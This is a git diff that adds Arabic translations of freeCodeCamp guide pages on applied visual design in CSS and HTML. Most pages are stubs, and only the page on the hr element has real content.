diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-a-horizontal-line-using-the-hr-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-a-horizontal-line-using-the-hr-element/index.md
new file mode 100644
index 0000000000..5faac2f3a7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-a-horizontal-line-using-the-hr-element/index.md
@@ -0,0 +1,29 @@
+---
+title: Create a Horizontal Line Using the hr Element
+localeTitle: إنشاء خط أفقي باستخدام عنصر hr
+---
+## إنشاء خط أفقي باستخدام عنصر hr
+
+تعد علامة `hr` واحدة من أبسط عناصر HTML. يقوم بإنشاء خط خط أفقي رفيع عبر العنصر الرئيسي.
+
+يستخدم هذا الدرس علامة `hr` لفصل عنوان ومحتوى "البطاقة". إذن كيف يمكنك إنشاء عنصر `hr` ؟
+
+ `
+<!-- It's this easy --> 
+ <hr> 
+` 
+
+هذا العنصر مغلق ذاتيًا ، ولكن يجب أن تضيف علامة إغلاق صريحة لكي تكون وديًا للمحللات والألعاب.
+
+ `
+<hr /> 
+` 
+
+أيًا كان التنسيق الذي تختاره ، سيؤدي إلى إنشاء خط أفقي كما في [هذا الدرس](https://learn.freecodecamp.org/responsive-web-design/applied-visual-design/create-a-horizontal-line-using-the-hr-element/) على [freeCodeCamp](https://www.freecodecamp.org/) . في ما يلي لقطة شاشة من هذا الدرس تظهر عنصر `hr` مضمّن في div.
+
+![مثال hr](https://i.imgur.com/RMTqXPw.png)
+
+## مصادر:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/hr)
+*   [W3C](http://w3c.github.io/html-reference/hr.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-a-more-complex-shape-using-css-and-html/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-a-more-complex-shape-using-css-and-html/index.md
new file mode 100644
index 0000000000..ebd475c5a8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-a-more-complex-shape-using-css-and-html/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a More Complex Shape Using CSS and HTML
+localeTitle: إنشاء شكل أكثر تعقيدًا باستخدام CSS و HTML
+---
+## إنشاء شكل أكثر تعقيدًا باستخدام CSS و HTML
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-a-more-complex-shape-using-css-and-html/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-movement-using-css-animation/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-movement-using-css-animation/index.md
new file mode 100644
index 0000000000..b93abf706f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-movement-using-css-animation/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Movement Using CSS Animation
+localeTitle: إنشاء حركة باستخدام CSS الرسوم المتحركة
+---
+## إنشاء حركة باستخدام CSS الرسوم المتحركة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-movement-using-css-animation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-texture-by-adding-a-subtle-pattern-as-a-background-image/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-texture-by-adding-a-subtle-pattern-as-a-background-image/index.md
new file mode 100644
index 0000000000..2b45265b82
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-texture-by-adding-a-subtle-pattern-as-a-background-image/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Texture by Adding a Subtle Pattern as a Background Image
+localeTitle: خلق نسيج عن طريق إضافة نمط دقيق كخلفية صورة
+---
+## خلق نسيج عن طريق إضافة نمط دقيق كخلفية صورة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-texture-by-adding-a-subtle-pattern-as-a-background-image/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-visual-balance-using-the-text-align-property/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-visual-balance-using-the-text-align-property/index.md
new file mode 100644
index 0000000000..83216f3abc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-visual-balance-using-the-text-align-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Visual Balance Using the text-align Property
+localeTitle: إنشاء توازن مرئي باستخدام خاصية محاذاة النص
+---
+## إنشاء توازن مرئي باستخدام خاصية محاذاة النص
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-visual-balance-using-the-text-align-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-visual-direction-by-fading-an-element-from-left-to-right/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-visual-direction-by-fading-an-element-from-left-to-right/index.md
new file mode 100644
index 0000000000..d9ea483f05
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-visual-direction-by-fading-an-element-from-left-to-right/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Visual Direction by Fading an Element from Left to Right
+localeTitle: إنشاء اتجاه مرئي بواسطة Fading عنصر من اليسار إلى اليمين
+---
+## إنشاء اتجاه مرئي بواسطة Fading عنصر من اليسار إلى اليمين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-visual-direction-by-fading-an-element-from-left-to-right/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/decrease-the-opacity-of-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/decrease-the-opacity-of-an-element/index.md
new file mode 100644
index 0000000000..6fd2a8cb79
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/decrease-the-opacity-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Decrease the Opacity of an Element
+localeTitle: تقليل تعتيم عنصر
+---
+## تقليل تعتيم عنصر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/decrease-the-opacity-of-an-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/index.md
new file mode 100644
index 0000000000..ec099286b9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/index.md
@@ -0,0 +1,11 @@
+---
+title: Applied Visual Design
+localeTitle: التصميم التطبيقي البصري
+---
+## التصميم التطبيقي البصري
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/learn-about-complementary-colors/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/learn-about-complementary-colors/index.md
new file mode 100644
index 0000000000..e1ba13d96d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/learn-about-complementary-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn about Complementary Colors
+localeTitle: تعرف على الألوان التكميلية
+---
+## تعرف على الألوان التكميلية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/learn-about-complementary-colors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/learn-about-tertiary-colors/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/learn-about-tertiary-colors/index.md
new file mode 100644
index 0000000000..7c71564008
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/learn-about-tertiary-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn about Tertiary Colors
+localeTitle: تعرف على ألوان التعليم العالي
+---
+## تعرف على ألوان التعليم العالي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/learn-about-tertiary-colors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/learn-how-bezier-curves-work/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/learn-how-bezier-curves-work/index.md
new file mode 100644
index 0000000000..9150f43230
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/learn-how-bezier-curves-work/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn How Bezier Curves Work
+localeTitle: تعلم كيف بيجر المنحنيات العمل
+---
+## تعلم كيف بيجر المنحنيات العمل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/learn-how-bezier-curves-work/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/learn-how-the-css-keyframes-and-animation-properties-work/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/learn-how-the-css-keyframes-and-animation-properties-work/index.md
new file mode 100644
index 0000000000..b52e3724eb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/learn-how-the-css-keyframes-and-animation-properties-work/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn How the CSS @keyframes and animation Properties Work
+localeTitle: تعلم كيف تعمل CSSkeyframes وخصائص الرسوم المتحركة
+---
+## تعلم كيف تعمل CSSkeyframes وخصائص الرسوم المتحركة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/learn-how-the-css-keyframes-and-animation-properties-work/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-its-parent-with-absolute-positioning/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-its-parent-with-absolute-positioning/index.md
new file mode 100644
index 0000000000..7d8e3c946a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-its-parent-with-absolute-positioning/index.md
@@ -0,0 +1,9 @@
+---
+title: Lock an Element to its Parent with Absolute Positioning
+localeTitle: قفل عنصر إلى الوالد مع وضع مطلق
+---
+## قفل عنصر إلى الوالد مع وضع مطلق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-its-parent-with-absolute-positioning/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-the-browser-window-with-fixed-positioning/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-the-browser-window-with-fixed-positioning/index.md
new file mode 100644
index 0000000000..e46847908d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-the-browser-window-with-fixed-positioning/index.md
@@ -0,0 +1,9 @@
+---
+title: Lock an Element to the Browser Window with Fixed Positioning
+localeTitle: قفل عنصر إلى نافذة المتصفح مع تحديد المواقع الثابتة
+---
+## قفل عنصر إلى نافذة المتصفح مع تحديد المواقع الثابتة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-the-browser-window-with-fixed-positioning/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/make-a-css-heartbeat-using-an-infinite-animation-count/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/make-a-css-heartbeat-using-an-infinite-animation-count/index.md
new file mode 100644
index 0000000000..645556624c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/make-a-css-heartbeat-using-an-infinite-animation-count/index.md
@@ -0,0 +1,9 @@
+---
+title: Make a CSS Heartbeat using an Infinite Animation Count
+localeTitle: جعل CSS نبضات باستخدام عدد الرسوم المتحركة اللانهائي
+---
+## جعل CSS نبضات باستخدام عدد الرسوم المتحركة اللانهائي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/make-a-css-heartbeat-using-an-infinite-animation-count/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/make-motion-more-natural-using-a-bezier-curve/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/make-motion-more-natural-using-a-bezier-curve/index.md
new file mode 100644
index 0000000000..4672676280
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/make-motion-more-natural-using-a-bezier-curve/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Motion More Natural Using a Bezier Curve
+localeTitle: جعل الحركة أكثر طبيعية باستخدام منحنى بيزيير
+---
+## جعل الحركة أكثر طبيعية باستخدام منحنى بيزيير
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/make-motion-more-natural-using-a-bezier-curve/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/modify-fill-mode-of-an-animation/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/modify-fill-mode-of-an-animation/index.md
new file mode 100644
index 0000000000..04aae802dc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/modify-fill-mode-of-an-animation/index.md
@@ -0,0 +1,9 @@
+---
+title: Modify Fill Mode of an Animation
+localeTitle: تعديل وضع التعبئة من الرسوم المتحركة
+---
+## تعديل وضع التعبئة من الرسوم المتحركة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/modify-fill-mode-of-an-animation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/move-a-relatively-positioned-element-with-css-offsets/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/move-a-relatively-positioned-element-with-css-offsets/index.md
new file mode 100644
index 0000000000..aa3569f31b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/move-a-relatively-positioned-element-with-css-offsets/index.md
@@ -0,0 +1,9 @@
+---
+title: Move a Relatively Positioned Element with CSS Offsets
+localeTitle: انقل عنصر تم تحديد موضعه نسبيًا باستخدام إزاحات CSS
+---
+## انقل عنصر تم تحديد موضعه نسبيًا باستخدام إزاحات CSS
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/move-a-relatively-positioned-element-with-css-offsets/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/push-elements-left-or-right-with-the-float-property/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/push-elements-left-or-right-with-the-float-property/index.md
new file mode 100644
index 0000000000..e72b25684d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/push-elements-left-or-right-with-the-float-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Push Elements Left or Right with the float Property
+localeTitle: دفع عناصر اليسار أو اليمين مع الخاصية العائمة
+---
+## دفع عناصر اليسار أو اليمين مع الخاصية العائمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/push-elements-left-or-right-with-the-float-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/set-the-font-size-for-multiple-heading-elements/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/set-the-font-size-for-multiple-heading-elements/index.md
new file mode 100644
index 0000000000..5a7ee45d6a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/set-the-font-size-for-multiple-heading-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the font-size for Multiple Heading Elements
+localeTitle: اضبط حجم الخط لعناصر العناوين المتعددة
+---
+## اضبط حجم الخط لعناصر العناوين المتعددة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/set-the-font-size-for-multiple-heading-elements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/set-the-font-size-of-paragraph-text/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/set-the-font-size-of-paragraph-text/index.md
new file mode 100644
index 0000000000..bce97bbce6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/set-the-font-size-of-paragraph-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the font-size of Paragraph Text
+localeTitle: قم بتعيين حجم خط نص الفقرة
+---
+## قم بتعيين حجم خط نص الفقرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/set-the-font-size-of-paragraph-text/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/set-the-font-weight-for-multiple-heading-elements/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/set-the-font-weight-for-multiple-heading-elements/index.md
new file mode 100644
index 0000000000..9de23a1f74
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/set-the-font-weight-for-multiple-heading-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the font-weight for Multiple Heading Elements
+localeTitle: اضبط وزن الخط لعناصر العناوين المتعددة
+---
+## اضبط وزن الخط لعناصر العناوين المتعددة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/set-the-font-weight-for-multiple-heading-elements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/set-the-line-height-of-paragraphs/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/set-the-line-height-of-paragraphs/index.md
new file mode 100644
index 0000000000..1af5b10a7b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/set-the-line-height-of-paragraphs/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the line-height of Paragraphs
+localeTitle: قم بتعيين ارتفاع سطر الفقرات
+---
+## قم بتعيين ارتفاع سطر الفقرات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/set-the-line-height-of-paragraphs/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-a-bezier-curve-to-move-a-graphic/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-a-bezier-curve-to-move-a-graphic/index.md
new file mode 100644
index 0000000000..18f644ffe4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-a-bezier-curve-to-move-a-graphic/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a Bezier Curve to Move a Graphic
+localeTitle: استخدم منحنى Bezier لتحريك رسم
+---
+## استخدم منحنى Bezier لتحريك رسم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-a-bezier-curve-to-move-a-graphic/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-a-css-linear-gradient-to-create-a-striped-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-a-css-linear-gradient-to-create-a-striped-element/index.md
new file mode 100644
index 0000000000..786f84cc86
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-a-css-linear-gradient-to-create-a-striped-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a CSS Linear Gradient to Create a Striped Element
+localeTitle: استخدم CSS Linear Gradient لإنشاء عنصر مخطط
+---
+## استخدم CSS Linear Gradient لإنشاء عنصر مخطط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-a-css-linear-gradient-to-create-a-striped-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-css-animation-to-change-the-hover-state-of-a-button/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-css-animation-to-change-the-hover-state-of-a-button/index.md
new file mode 100644
index 0000000000..9780b5ec48
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-css-animation-to-change-the-hover-state-of-a-button/index.md
@@ -0,0 +1,9 @@
+---
+title: Use CSS Animation to Change the Hover State of a Button
+localeTitle: استخدم CSS Animation لتغيير حالة Hover لزر
+---
+## استخدم CSS Animation لتغيير حالة Hover لزر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-css-animation-to-change-the-hover-state-of-a-button/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewx-to-skew-an-element-along-the-x-axis/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewx-to-skew-an-element-along-the-x-axis/index.md
new file mode 100644
index 0000000000..4fe1e7d8b5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewx-to-skew-an-element-along-the-x-axis/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the CSS Transform Property skewX to Skew an Element Along the X-Axis
+localeTitle: استخدم skewX خاصية تحويل Transform إلى Skew an Element على طول X-Axis
+---
+## استخدم skewX خاصية تحويل Transform إلى Skew an Element على طول X-Axis
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewx-to-skew-an-element-along-the-x-axis/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewy-to-skew-an-element-along-the-y-axis/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewy-to-skew-an-element-along-the-y-axis/index.md
new file mode 100644
index 0000000000..2d3ab7b817
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewy-to-skew-an-element-along-the-y-axis/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the CSS Transform Property skewY to Skew an Element Along the Y-Axis
+localeTitle: استخدم خاصية تحويل CSS skewY إلى Skew an Element على طول المحور ص
+---
+## استخدم خاصية تحويل CSS skewY إلى Skew an Element على طول المحور ص
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewy-to-skew-an-element-along-the-y-axis/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-change-the-size-of-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-change-the-size-of-an-element/index.md
new file mode 100644
index 0000000000..bbea22c205
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-change-the-size-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the CSS Transform scale Property to Change the Size of an Element
+localeTitle: استخدم خاصية مقياس تحويل CSS لتغيير حجم عنصر
+---
+## استخدم خاصية مقياس تحويل CSS لتغيير حجم عنصر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-change-the-size-of-an-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-scale-an-element-on-hover/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-scale-an-element-on-hover/index.md
new file mode 100644
index 0000000000..b20bb2620d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-scale-an-element-on-hover/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the CSS Transform scale Property to Scale an Element on Hover
